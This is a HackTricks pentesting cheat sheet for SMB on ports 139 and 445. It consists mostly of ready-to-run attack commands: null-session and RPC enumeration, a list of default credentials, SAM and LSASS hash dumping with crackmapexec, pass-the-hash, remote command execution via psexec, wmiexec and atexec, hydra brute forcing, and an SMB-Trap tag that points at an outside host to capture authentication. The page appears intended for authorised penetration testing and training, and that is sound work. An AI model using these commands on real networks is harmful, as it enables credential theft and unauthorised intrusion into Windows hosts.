139,445 - Pentesting SMB

Support HackTricks and get benefits!
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag​
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦​@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.
Port 139
NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)
1
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
Copied!
Port 445
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from here)
1
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Copied!
IPC$ share
From book Network Security Assessment 3rd edition
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
Operating system information
Details of the parent domain
A list of local users and groups
Details of available SMB shares
The effective system security policy
What is NTLM
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about NTLM where is explained how this protocol works and how you can take advantage of it.
Enumeration
Scan a network searching for hosts:
1
nbtscan -r 192.168.0.1/24
Copied!
SMB server version
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
_Or** this script**:
1
#!/bin/sh
2
#Author: rewardone
3
#Description:
4
# Requires root or enough permissions to use tcpdump
5
# Will listen for the first 7 packets of a null login
6
# and grab the SMB Version
7
#Notes:
8
# Will sometimes not capture or will print multiple
9
# lines. May need to run a second time for success.
10
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
11
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
12
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
13
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
14
echo "" && sleep .1
Copied!
Search exploit
1
msf> search type:exploit platform:windows target:2008 smb
2
searchsploit microsoft smb
Copied!
Possible Credentials
Username(s)
Common passwords
(blank)
(blank)
guest
(blank)
Administrator, admin
(blank), password, administrator, admin
arcserve
arcserve, backup
tivoli, tmersrvd
tivoli, tmersrvd, admin
backupexec, backup
backupexec, backup, arcada
test, lab, demo
password, test, lab, demo
Obtain information
1
#Dump interesting information
2
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
3
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
4
nmap --script "safe or smb-enum-*" -p 445 <IP>
5
​
6
#Connect to the rpc
7
rpcclient -U "" -N <IP> #No creds
8
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
9
#You can use querydispinfo and enumdomusers to query user information
10
​
11
#Dump user information
12
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
13
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
14
​
15
#Map possible RPC endpoints
16
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
17
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
18
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
Copied!
Enumerating LSARPC and SAMR rpcclient
Pat of this section was extracted from book "Network Security Assesment 3rd Edition"
You can use the Samba rpcclient utility to interact with RPC endpoints via named pipes. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon establishing a SMB session (often requiring credentials).
Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser <0xrid>
Get user groups: queryusergroups <0xrid>
GET SID of a user: lookupnames <username>
Get users aliases: queryuseraliases [builtin|domain] <sid>
Groups enumeration
List groups: enumdomgroups
Get group details: querygroup <0xrid>
Get group members: querygroupmem <0xrid>
Aliasgroups enumeration
List alias: enumalsgroups <builtin|domain>
Get members: queryaliasmem builtin|domain <0xrid>
Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
More SIDs
Find SIDs by name: lookupnames <username>
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids <sid>
Command
Interface
Description
queryuser
SAMR
Retrieve user information
querygroup
Retrieve group information
​
querydominfo
Retrieve domain information
​
enumdomusers
Enumerate domain users
​
enumdomgroups
Enumerate domain groups
​
createdomuser
Create a domain user
​
deletedomuser
Delete a domain user
​
lookupnames
LSARPC
Look up usernames to SIDa values
lookupsids
Look up SIDs to usernames (RIDb cycling)
​
lsaaddacctrights
Add rights to a user account
​
lsaremoveacctrights
Remove rights from a user account
​
dsroledominfo
LSARPC-DS
Get primary domain information
dsenumdomtrusts
Enumerate trusted domains within an AD forest
​
To understand better how the tools samrdump and rpcdump works you should read Pentesting MSRPC.
GUI connection from linux
In the terminal:
xdg-open smb://cascade.htb/
In file browser window (nautilus, thunar, etc)
smb://friendzone.htb/general/
List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.
1
smbclient --no-pass -L //<IP> # Null user
2
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
3
smbmap -H <IP> [-P <PORT>] #Null user
4
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
5
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
6
crackmapexec smb <IP> -u '' -p '' --shares #Null user
7
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
8
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
Copied!
Connect/List a shared folder
1
#Connect using smbclient
2
smbclient --no-pass //<IP>/<Folder>
3
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
4
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient
5
​
6
#List with smbmap, without folder it list everything
7
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
8
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
9
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Copied!
Manually enumerate windows shares and connect to them
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON
(Common share names from Network Security Assessment 3rd edition)
You can try to connect to them by using the following command
1
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
2
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
Copied!
or this script (using a null session)
1
#/bin/bash
2
​
3
ip='<TARGET-IP-HERE>'
4
shares=('C#x27; 'D#x27; 'ADMIN#x27; 'IPC#x27; 'PRINT#x27; 'FAX#x27; 'SYSVOL' 'NETLOGON')
5
​
6
for share in ${shares[*]}; do
7
    output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') 
8
​
9
    if [[ -z $output ]]; then 
10
        echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
11
    else
12
        echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
13
    fi
14
done
Copied!
examples
1
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
2
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Copied!
Mount a shared folder
1
mount -t cifs //x.x.x.x/share /mnt/share
2
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
Copied!
Download files
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
1
#Search a file and download
2
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
Copied!
1
#Download all
2
smbclient //<IP>/<share>
3
> mask ""
4
> recurse
5
> prompt
6
> mget *
7
#Download everything to current directory
Copied!
Commands:
mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
recurse: toggles recursion on (default: off)
prompt: toggles prompting for filenames off (default: on)
mget: copies all files matching the mask from host to client machine
(Information from the manpage of smbclient)
Read Registry
You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:
1
sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
2
sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
3
sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Copied!
Local users
Enumerate local users with SID brute-forcing:
With Impacket:
1
lookupsid.py -no-pass hostname.local
Copied!
With Metasploit:
1
use auxiliary/scanner/smb/smb_lookupsid
2
set rhosts hostname.local
3
run
Copied!
Note: rpcclient command lookupsids only translates a SID to a username but doesn't allow enumeration via brute-forcing.
Authenticate using Kerberos
You can authenticate to kerberos using the tools smbclient and rpcclient:
1
smbclient --kerberos //ws01win10.domain.com/C$
2
rpcclient -k ws01win10.domain.com
Copied!
Execute
crackmapexec
crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:
1
apt-get install crackmapexec
2
​
3
crackmapexec smb 192.168.10.11 -u Administrator -p '[email protected]' -X '$PSVersionTable' #Execute Powershell
4
crackmapexec smb 192.168.10.11 -u Administrator -p '[email protected]' -x whoami #Excute cmd
5
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
6
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
7
​
8
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
9
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
10
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
11
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
12
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
13
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
14
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
15
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
16
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
17
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
Copied!
​psexec/smbexec​
Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/
1
#If no password is provided, it will be prompted
2
./psexec.py [[domain/]username[:password]@]<targetName or address>
3
./psexec.py -hashes <LM:NT> [email protected] #Pass-the-Hash
4
psexec \\192.168.122.66 -u Administrator -p 123456Ww
5
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
Copied!
Using parameter-k you can authenticate against kerberos instead of NTLM
​wmiexec/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/
1
#If no password is provided, it will be prompted
2
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
3
./wmiexec.py -hashes LM:NT [email protected] #Pass-the-Hash
4
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Copied!
Using parameter-k you can authenticate against kerberos instead of NTLM
1
#If no password is provided, it will be prompted
2
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
3
./dcomexec.py -hashes <LM:NT> [email protected] #Pass-the-Hash
4
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Copied!
​AtExec​
Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/
1
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
2
./atexec.py -hashes <LM:NT> [email protected] "whoami"
Copied!
Impacket reference
​https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/​
Bruteforce users credentials
This is not recommended, you could block an account if you exceed the maximum allowed tries
1
nmap --script smb-brute -p 445 <IP>
2
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
Copied!
SMB relay attack
This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.​
SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"
This happens with the funcions:
URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html
SMBTrap using MitMf
From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html
HackTricks Automatic Commands
1
Protocol_Name: SMB    #Protocol Abbreviation if there is one.
2
Port_Number:  137,138,139     #Comma separated if there is more than one.
3
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out
4
​
5
Entry_1:
6
  Name: Notes
7
  Description: Notes for SMB
8
  Note: |
9
    While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
10
​
11
    #These are the commands I run in order every time I see an open SMB port
12
​
13
    With No Creds
14
    nbtscan {IP}
15
    smbmap -H {IP}
16
    smbmap -H {IP} -u null -p null
17
    smbclient -N -L //{IP}
18
    smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
19
    rpcclient {IP}
20
    rpcclient -U "" {IP}
21
    crackmapexec smb {IP}
22
    crackmapexec smb {IP} --pass-pol -u "" -p ""
23
    GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
24
    GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
25
    GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
26
    getArch.py -target {IP}
27
​
28
    With Creds
29
    smbmap -H {IP} -u {Username} -p {Password}
30
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
31
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
32
    crackmapexec smb {IP} -u {Username} -p {Password} --shares
33
    GetADUsers.py {Domain_Name}/{Username}:{Password} -all
34
    GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
35
    GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
36
​
37
    https://book.hacktricks.xyz/pentesting/pentesting-smb
38
​
39
Entry_2:
40
  Name: Enum4Linux
41
  Description: General SMB Scan
42
  Command: enum4linux -a {IP}
43
​
44
Entry_3:
45
  Name: Nmap SMB Scan 1
46
  Description: SMB Vuln Scan With Nmap
47
  Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
48
​
49
Entry_4:
50
  Name: Nmap Smb Scan 2
51
  Description: SMB Vuln Scan With Nmap (Less Specific)
52
  Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
53
​
54
Entry_5:
55
  Name: Hydra Brute Force
56
  Description: Need User
57
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
58
  
59
Entry_6:
60
  	Name: SMB/SMB2 139/445 consolesless mfs enumeration
61
  	Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
62
  	Note: sourced from https://github.com/carlospolop/legion
63
  	Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' 
64
    
Copied!
Support HackTricks and get benefits!

Network Services Pentesting - Previous

137,138,139 - Pentesting NetBios

Next - Network Services Pentesting

143,993 - Pentesting IMAP

Last modified 18d ago

Port 139

Port 445

IPC$ share

What is NTLM

Enumeration

Scan a network searching for hosts:

SMB server version

Search exploit

Possible Credentials

Obtain information

Enumerating LSARPC and SAMR rpcclient

Users enumeration

Groups enumeration

Aliasgroups enumeration

Domains enumeration

More SIDs

GUI connection from linux

In the terminal:

In file browser window (nautilus, thunar, etc)

List shared folders

Connect/List a shared folder

Manually enumerate windows shares and connect to them

Mount a shared folder

Download files

Read Registry

Local users

Authenticate using Kerberos

Execute

crackmapexec

​psexec/smbexec​

​wmiexec/dcomexec

​AtExec​

Impacket reference

Bruteforce users credentials

SMB relay attack

SMB-Trap

SMBTrap using MitMf

HackTricks Automatic Commands

psexec/smbexec

wmiexec/dcomexec

AtExec